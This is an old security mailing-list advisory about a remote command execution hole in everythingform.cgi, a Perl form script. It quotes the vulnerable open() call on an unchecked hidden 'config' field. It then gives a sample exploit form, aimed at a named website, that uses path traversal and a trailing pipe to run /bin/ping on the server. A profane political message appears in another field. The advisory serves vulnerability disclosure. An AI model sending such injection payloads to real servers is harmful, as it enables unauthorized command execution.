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Subject: Insecure input validation in everythingform.cgi (remote command execution)
From: rpc (hCKZ.ORG)
Date: Mon Dec 11 2000 - 08:16:03 CST

Hi All,

This is Yet Another Bad Perl Script. everythingform.cgi uses a hidden field
'config' to determine where to read configuration data from.

--code snippit--
$ConfigFile = $in{config};
 open(CONFIG, "$configdir$ConfigFile") || &Error("I can\'t open $ConfigFile in
the ReadConfig subroutine. Reason: $!");

Information regarding everythingform can be found at:

Sample exploit:

<form action="http://www.conservatives.net/someplace/everythingform.cgi"
<h1>everythingform.cgi exploit</h1>
Command: <input type=text name=config value="../../../../../../../../bin/ping
-c 5 www.foobar.com|">
<input type=hidden name=Name value="fuck the religious right">
<input type=hidden name="e-mail" value="foobar.net">
<input type=hidden name=FavoriteColor value=Black>
<input type=submit value=run>